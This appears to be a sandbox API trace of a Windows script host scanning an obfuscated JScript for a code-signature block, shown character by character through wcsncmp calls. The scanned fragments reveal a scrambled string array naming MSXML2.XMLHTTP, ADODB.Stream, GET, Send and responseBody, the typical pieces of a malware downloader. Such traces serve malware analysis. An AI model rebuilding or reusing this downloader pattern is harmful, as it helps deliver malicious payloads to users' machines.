	[0051.835] wcsncmp (_String1="_f4ba=[\"UZqicziIAc\",\"zcAuqzQcCczp", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 82
	[0051.835] wcsncmp (_String1="f4ba=[\"UZqicziIAc\",\"zcAuqzQcCczpw", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 89
	[0051.835] wcsncmp (_String1="4ba=[\"UZqicziIAc\",\"zcAuqzQcCczpwQ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 39
	[0051.835] wcsncmp (_String1="ba=[\"UZqicziIAc\",\"zcAuqzQcCczpwQc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85
	[0051.835] wcsncmp (_String1="a=[\"UZqicziIAc\",\"zcAuqzQcCczpwQcQ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0051.835] wcsncmp (_String1="=[\"UZqicziIAc\",\"zcAuqzQcCczpwQcQq", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 48
	[0051.835] wcsncmp (_String1="[\"UZqicziIAc\",\"zcAuqzQcCczpwQcQqa", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 78
	[0051.835] wcsncmp (_String1="\"UZqicziIAc\",\"zcAuqzQcCczpwQcQqax", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.835] wcsncmp (_String1="UZqicziIAc\",\"zcAuqzQcCczpwQcQqaxU", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 72
	[0051.835] wcsncmp (_String1="ZqicziIAc\",\"zcAuqzQcCczpwQcQqaxUr", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77
	[0051.835] wcsncmp (_String1="qicziIAc\",\"zcAuqzQcCczpwQcQqaxUr\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 100
	[0051.835] wcsncmp (_String1="icziIAc\",\"zcAuqzQcCczpwQcQqaxUr\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0051.835] wcsncmp (_String1="cziIAc\",\"zcAuqzQcCczpwQcQqaxUr\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0051.835] wcsncmp (_String1="ziIAc\",\"zcAuqzQcCczpwQcQqaxUr\",\"z", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109
	[0051.835] wcsncmp (_String1="iIAc\",\"zcAuqzQcCczpwQcQqaxUr\",\"zd", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0051.835] wcsncmp (_String1="IAc\",\"zcAuqzQcCczpwQcQqaxUr\",\"zdn", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60
	[0051.835] wcsncmp (_String1="Ac\",\"zcAuqzQcCczpwQcQqaxUr\",\"zdnD", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52
	[0051.835] wcsncmp (_String1="c\",\"zcAuqzQcCczpwQcQqaxUr\",\"zdnDU", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0051.835] wcsncmp (_String1="\",\"zcAuqzQcCczpwQcQqaxUr\",\"zdnDUQ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.835] wcsncmp (_String1=",\"zcAuqzQcCczpwQcQqaxUr\",\"zdnDUQc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.835] wcsncmp (_String1="\"zcAuqzQcCczpwQcQqaxUr\",\"zdnDUQcC", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.835] wcsncmp (_String1="zcAuqzQcCczpwQcQqaxUr\",\"zdnDUQcCp", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109
	[0051.835] wcsncmp (_String1="cAuqzQcCczpwQcQqaxUr\",\"zdnDUQcCpc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0051.835] wcsncmp (_String1="AuqzQcCczpwQcQqaxUr\",\"zdnDUQcCpcw", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52
	[0051.835] wcsncmp (_String1="uqzQcCczpwQcQqaxUr\",\"zdnDUQcCpcwn", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0051.835] wcsncmp (_String1="qzQcCczpwQcQqaxUr\",\"zdnDUQcCpcwnA", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 100
	[0051.835] wcsncmp (_String1="zQcCczpwQcQqaxUr\",\"zdnDUQcCpcwnAu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109
	[0051.835] wcsncmp (_String1="QcCczpwQcQqaxUr\",\"zdnDUQcCpcwnAuD", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 68
	[0051.835] wcsncmp (_String1="cCczpwQcQqaxUr\",\"zdnDUQcCpcwnAuDc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0051.835] wcsncmp (_String1="CczpwQcQqaxUr\",\"zdnDUQcCpcwnAuDcq", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 54
	[0051.835] wcsncmp (_String1="czpwQcQqaxUr\",\"zdnDUQcCpcwnAuDcqx", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0051.835] wcsncmp (_String1="zpwQcQqaxUr\",\"zdnDUQcCpcwnAuDcqxz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109
	[0051.835] wcsncmp (_String1="pwQcQqaxUr\",\"zdnDUQcCpcwnAuDcqxzC", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99
	[0051.835] wcsncmp (_String1="wQcQqaxUr\",\"zdnDUQcCpcwnAuDcqxzCv", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 106
	[0051.835] wcsncmp (_String1="QcQqaxUr\",\"zdnDUQcCpcwnAuDcqxzCvo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 68
	[0051.835] wcsncmp (_String1="cQqaxUr\",\"zdnDUQcCpcwnAuDcqxzCvo\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0051.835] wcsncmp (_String1="QqaxUr\",\"zdnDUQcCpcwnAuDcqxzCvo\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 68
	[0051.835] wcsncmp (_String1="qaxUr\",\"zdnDUQcCpcwnAuDcqxzCvo\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 100
	[0051.835] wcsncmp (_String1="axUr\",\"zdnDUQcCpcwnAuDcqxzCvo\",\"r", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0051.835] wcsncmp (_String1="xUr\",\"zdnDUQcCpcwnAuDcqxzCvo\",\"rn", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107
	[0051.835] wcsncmp (_String1="Ur\",\"zdnDUQcCpcwnAuDcqxzCvo\",\"rnu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 72
	[0051.835] wcsncmp (_String1="r\",\"zdnDUQcCpcwnAuDcqxzCvo\",\"rnuq", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0051.835] wcsncmp (_String1="\",\"zdnDUQcCpcwnAuDcqxzCvo\",\"rnuqQ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.835] wcsncmp (_String1=",\"zdnDUQcCpcwnAuDcqxzCvo\",\"rnuqQA", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.835] wcsncmp (_String1="\"zdnDUQcCpcwnAuDcqxzCvo\",\"rnuqQAd", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.835] wcsncmp (_String1="zdnDUQcCpcwnAuDcqxzCvo\",\"rnuqQAdo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109
	[0051.835] wcsncmp (_String1="dnDUQcCpcwnAuDcqxzCvo\",\"rnuqQAdoZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0051.835] wcsncmp (_String1="nDUQcCpcwnAuDcqxzCvo\",\"rnuqQAdoZs", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0051.836] wcsncmp (_String1="DUQcCpcwnAuDcqxzCvo\",\"rnuqQAdoZsu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 55
	[0051.836] wcsncmp (_String1="UQcCpcwnAuDcqxzCvo\",\"rnuqQAdoZsuO", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 72
	[0051.836] wcsncmp (_String1="QcCpcwnAuDcqxzCvo\",\"rnuqQAdoZsuOq", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 68
	[0051.836] wcsncmp (_String1="cCpcwnAuDcqxzCvo\",\"rnuqQAdoZsuOqA", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0051.836] wcsncmp (_String1="CpcwnAuDcqxzCvo\",\"rnuqQAdoZsuOqAz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 54
	[0051.836] wcsncmp (_String1="pcwnAuDcqxzCvo\",\"rnuqQAdoZsuOqAzp", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99
	[0051.836] wcsncmp (_String1="cwnAuDcqxzCvo\",\"rnuqQAdoZsuOqAzpa", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0051.836] wcsncmp (_String1="wnAuDcqxzCvo\",\"rnuqQAdoZsuOqAzpax", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 106
	[0051.836] wcsncmp (_String1="nAuDcqxzCvo\",\"rnuqQAdoZsuOqAzpaxa", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0051.836] wcsncmp (_String1="AuDcqxzCvo\",\"rnuqQAdoZsuOqAzpaxad", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52
	[0051.836] wcsncmp (_String1="uDcqxzCvo\",\"rnuqQAdoZsuOqAzpaxade", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0051.836] wcsncmp (_String1="DcqxzCvo\",\"rnuqQAdoZsuOqAzpaxadex", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 55
	[0051.836] wcsncmp (_String1="cqxzCvo\",\"rnuqQAdoZsuOqAzpaxadexZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0051.836] wcsncmp (_String1="qxzCvo\",\"rnuqQAdoZsuOqAzpaxadexZ\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 100
	[0051.836] wcsncmp (_String1="xzCvo\",\"rnuqQAdoZsuOqAzpaxadexZ\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107
	[0051.836] wcsncmp (_String1="zCvo\",\"rnuqQAdoZsuOqAzpaxadexZ\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109
	[0051.836] wcsncmp (_String1="Cvo\",\"rnuqQAdoZsuOqAzpaxadexZ\",\"I", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 54
	[0051.836] wcsncmp (_String1="vo\",\"rnuqQAdoZsuOqAzpaxadexZ\",\"IZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105
	[0051.836] wcsncmp (_String1="o\",\"rnuqQAdoZsuOqAzpaxadexZ\",\"IZv", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0051.836] wcsncmp (_String1="\",\"rnuqQAdoZsuOqAzpaxadexZ\",\"IZvs", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.836] wcsncmp (_String1=",\"rnuqQAdoZsuOqAzpaxadexZ\",\"IZvsn", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.836] wcsncmp (_String1="\"rnuqQAdoZsuOqAzpaxadexZ\",\"IZvsne", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.836] wcsncmp (_String1="rnuqQAdoZsuOqAzpaxadexZ\",\"IZvsned", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0051.836] wcsncmp (_String1="nuqQAdoZsuOqAzpaxadexZ\",\"IZvsnedo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0051.836] wcsncmp (_String1="uqQAdoZsuOqAzpaxadexZ\",\"IZvsnedoI", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0051.836] wcsncmp (_String1="qQAdoZsuOqAzpaxadexZ\",\"IZvsnedoIQ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 100
	[0051.836] wcsncmp (_String1="QAdoZsuOqAzpaxadexZ\",\"IZvsnedoIQo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 68
	[0051.836] wcsncmp (_String1="AdoZsuOqAzpaxadexZ\",\"IZvsnedoIQoI", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52
	[0051.836] wcsncmp (_String1="doZsuOqAzpaxadexZ\",\"IZvsnedoIQoIo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0051.836] wcsncmp (_String1="oZsuOqAzpaxadexZ\",\"IZvsnedoIQoIoc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0051.836] wcsncmp (_String1="ZsuOqAzpaxadexZ\",\"IZvsnedoIQoIocz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77
	[0051.836] wcsncmp (_String1="suOqAzpaxadexZ\",\"IZvsnedoIQoIocze", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0051.836] wcsncmp (_String1="uOqAzpaxadexZ\",\"IZvsnedoIQoIoczez", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0051.836] wcsncmp (_String1="OqAzpaxadexZ\",\"IZvsnedoIQoIoczezv", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 66
	[0051.836] wcsncmp (_String1="qAzpaxadexZ\",\"IZvsnedoIQoIoczezvp", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 100
	[0051.836] wcsncmp (_String1="AzpaxadexZ\",\"IZvsnedoIQoIoczezvpe", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52
	[0051.836] wcsncmp (_String1="zpaxadexZ\",\"IZvsnedoIQoIoczezvpeo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109
	[0051.836] wcsncmp (_String1="paxadexZ\",\"IZvsnedoIQoIoczezvpeoc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99
	[0051.836] wcsncmp (_String1="axadexZ\",\"IZvsnedoIQoIoczezvpeocx", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0051.836] wcsncmp (_String1="xadexZ\",\"IZvsnedoIQoIoczezvpeocxE", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107
	[0051.836] wcsncmp (_String1="adexZ\",\"IZvsnedoIQoIoczezvpeocxE\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0051.836] wcsncmp (_String1="dexZ\",\"IZvsnedoIQoIoczezvpeocxE\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0051.836] wcsncmp (_String1="exZ\",\"IZvsnedoIQoIoczezvpeocxE\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.836] wcsncmp (_String1="xZ\",\"IZvsnedoIQoIoczezvpeocxE\",\"M", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107
	[0051.836] wcsncmp (_String1="Z\",\"IZvsnedoIQoIoczezvpeocxE\",\"MS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77
	[0051.836] wcsncmp (_String1="\",\"IZvsnedoIQoIoczezvpeocxE\",\"MSX", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.836] wcsncmp (_String1=",\"IZvsnedoIQoIoczezvpeocxE\",\"MSXM", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.836] wcsncmp (_String1="\"IZvsnedoIQoIoczezvpeocxE\",\"MSXML", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.836] wcsncmp (_String1="IZvsnedoIQoIoczezvpeocxE\",\"MSXML2", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60
	[0051.836] wcsncmp (_String1="ZvsnedoIQoIoczezvpeocxE\",\"MSXML2.", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77
	[0051.836] wcsncmp (_String1="vsnedoIQoIoczezvpeocxE\",\"MSXML2.X", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105
	[0051.836] wcsncmp (_String1="snedoIQoIoczezvpeocxE\",\"MSXML2.XM", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0051.836] wcsncmp (_String1="nedoIQoIoczezvpeocxE\",\"MSXML2.XML", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0051.836] wcsncmp (_String1="edoIQoIoczezvpeocxE\",\"MSXML2.XMLH", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.837] wcsncmp (_String1="doIQoIoczezvpeocxE\",\"MSXML2.XMLHT", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0051.837] wcsncmp (_String1="oIQoIoczezvpeocxE\",\"MSXML2.XMLHTT", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0051.837] wcsncmp (_String1="IQoIoczezvpeocxE\",\"MSXML2.XMLHTTP", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60
	[0051.837] wcsncmp (_String1="QoIoczezvpeocxE\",\"MSXML2.XMLHTTP\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 68
	[0051.837] wcsncmp (_String1="oIoczezvpeocxE\",\"MSXML2.XMLHTTP\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0051.837] wcsncmp (_String1="IoczezvpeocxE\",\"MSXML2.XMLHTTP\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60
	[0051.837] wcsncmp (_String1="oczezvpeocxE\",\"MSXML2.XMLHTTP\",\"A", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0051.837] wcsncmp (_String1="czezvpeocxE\",\"MSXML2.XMLHTTP\",\"AD", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0051.837] wcsncmp (_String1="zezvpeocxE\",\"MSXML2.XMLHTTP\",\"ADO", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109
	[0051.837] wcsncmp (_String1="ezvpeocxE\",\"MSXML2.XMLHTTP\",\"ADOD", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.837] wcsncmp (_String1="zvpeocxE\",\"MSXML2.XMLHTTP\",\"ADODB", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109
	[0051.837] wcsncmp (_String1="vpeocxE\",\"MSXML2.XMLHTTP\",\"ADODB.", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105
	[0051.837] wcsncmp (_String1="peocxE\",\"MSXML2.XMLHTTP\",\"ADODB.S", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99
	[0051.837] wcsncmp (_String1="eocxE\",\"MSXML2.XMLHTTP\",\"ADODB.St", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.837] wcsncmp (_String1="ocxE\",\"MSXML2.XMLHTTP\",\"ADODB.Str", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0051.837] wcsncmp (_String1="cxE\",\"MSXML2.XMLHTTP\",\"ADODB.Stre", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0051.837] wcsncmp (_String1="xE\",\"MSXML2.XMLHTTP\",\"ADODB.Strea", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107
	[0051.837] wcsncmp (_String1="E\",\"MSXML2.XMLHTTP\",\"ADODB.Stream", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 56
	[0051.837] wcsncmp (_String1="\",\"MSXML2.XMLHTTP\",\"ADODB.Stream\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.837] wcsncmp (_String1=",\"MSXML2.XMLHTTP\",\"ADODB.Stream\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.837] wcsncmp (_String1="\"MSXML2.XMLHTTP\",\"ADODB.Stream\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.837] wcsncmp (_String1="MSXML2.XMLHTTP\",\"ADODB.Stream\",\"G", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 64
	[0051.837] wcsncmp (_String1="SXML2.XMLHTTP\",\"ADODB.Stream\",\"GE", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70
	[0051.837] wcsncmp (_String1="XML2.XMLHTTP\",\"ADODB.Stream\",\"GET", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75
	[0051.837] wcsncmp (_String1="ML2.XMLHTTP\",\"ADODB.Stream\",\"GET\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 64
	[0051.837] wcsncmp (_String1="L2.XMLHTTP\",\"ADODB.Stream\",\"GET\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 63
	[0051.837] wcsncmp (_String1="2.XMLHTTP\",\"ADODB.Stream\",\"GET\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37
	[0051.837] wcsncmp (_String1=".XMLHTTP\",\"ADODB.Stream\",\"GET\",\"O", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 33
	[0051.837] wcsncmp (_String1="XMLHTTP\",\"ADODB.Stream\",\"GET\",\"Op", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75
	[0051.837] wcsncmp (_String1="MLHTTP\",\"ADODB.Stream\",\"GET\",\"Ope", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 64
	[0051.837] wcsncmp (_String1="LHTTP\",\"ADODB.Stream\",\"GET\",\"Open", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 63
	[0051.837] wcsncmp (_String1="HTTP\",\"ADODB.Stream\",\"GET\",\"Open\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59
	[0051.837] wcsncmp (_String1="TTP\",\"ADODB.Stream\",\"GET\",\"Open\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 71
	[0051.837] wcsncmp (_String1="TP\",\"ADODB.Stream\",\"GET\",\"Open\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 71
	[0051.837] wcsncmp (_String1="P\",\"ADODB.Stream\",\"GET\",\"Open\",\"S", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 67
	[0051.837] wcsncmp (_String1="\",\"ADODB.Stream\",\"GET\",\"Open\",\"Se", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.837] wcsncmp (_String1=",\"ADODB.Stream\",\"GET\",\"Open\",\"Sen", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.837] wcsncmp (_String1="\"ADODB.Stream\",\"GET\",\"Open\",\"Send", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.837] wcsncmp (_String1="ADODB.Stream\",\"GET\",\"Open\",\"Send\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52
	[0051.837] wcsncmp (_String1="DODB.Stream\",\"GET\",\"Open\",\"Send\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 55
	[0051.837] wcsncmp (_String1="ODB.Stream\",\"GET\",\"Open\",\"Send\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 66
	[0051.837] wcsncmp (_String1="DB.Stream\",\"GET\",\"Open\",\"Send\",\"t", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 55
	[0051.837] wcsncmp (_String1="B.Stream\",\"GET\",\"Open\",\"Send\",\"ty", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 53
	[0051.837] wcsncmp (_String1=".Stream\",\"GET\",\"Open\",\"Send\",\"typ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 33
	[0051.837] wcsncmp (_String1="Stream\",\"GET\",\"Open\",\"Send\",\"type", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70
	[0051.837] wcsncmp (_String1="tream\",\"GET\",\"Open\",\"Send\",\"type\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0051.837] wcsncmp (_String1="ream\",\"GET\",\"Open\",\"Send\",\"type\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0051.837] wcsncmp (_String1="eam\",\"GET\",\"Open\",\"Send\",\"type\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.837] wcsncmp (_String1="am\",\"GET\",\"Open\",\"Send\",\"type\",\"o", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0051.837] wcsncmp (_String1="m\",\"GET\",\"Open\",\"Send\",\"type\",\"op", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96
	[0051.837] wcsncmp (_String1="\",\"GET\",\"Open\",\"Send\",\"type\",\"ope", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.837] wcsncmp (_String1=",\"GET\",\"Open\",\"Send\",\"type\",\"open", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.837] wcsncmp (_String1="\"GET\",\"Open\",\"Send\",\"type\",\"open\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.837] wcsncmp (_String1="GET\",\"Open\",\"Send\",\"type\",\"open\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58
	[0051.837] wcsncmp (_String1="ET\",\"Open\",\"Send\",\"type\",\"open\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 56
	[0051.837] wcsncmp (_String1="T\",\"Open\",\"Send\",\"type\",\"open\",\"r", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 71
	[0051.838] wcsncmp (_String1="\",\"Open\",\"Send\",\"type\",\"open\",\"re", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.838] wcsncmp (_String1=",\"Open\",\"Send\",\"type\",\"open\",\"res", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.838] wcsncmp (_String1="\"Open\",\"Send\",\"type\",\"open\",\"resp", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.838] wcsncmp (_String1="Open\",\"Send\",\"type\",\"open\",\"respo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 66
	[0051.838] wcsncmp (_String1="pen\",\"Send\",\"type\",\"open\",\"respon", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99
	[0051.838] wcsncmp (_String1="en\",\"Send\",\"type\",\"open\",\"respons", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.838] wcsncmp (_String1="n\",\"Send\",\"type\",\"open\",\"response", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0051.838] wcsncmp (_String1="\",\"Send\",\"type\",\"open\",\"responseB", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.838] wcsncmp (_String1=",\"Send\",\"type\",\"open\",\"responseBo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
	[0051.838] wcsncmp (_String1="\"Send\",\"type\",\"open\",\"responseBod", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.838] wcsncmp (_String1="Send\",\"type\",\"open\",\"responseBody", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70
	[0051.838] wcsncmp (_String1="end\",\"type\",\"open\",\"responseBody\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0051.838] wcsncmp (_String1="nd\",\"type\",\"open\",\"responseBody\",", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0051.838] wcsncmp (_String1="d\",\"type\",\"open\",\"responseBody\",\"", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0051.838] wcsncmp (_String1="\",\"type\",\"open\",\"responseBody\",\"w", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 21
	[0051.838] wcsncmp (_String1=",\"type\",\"open\",\"responseBody\",\"wr", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 31
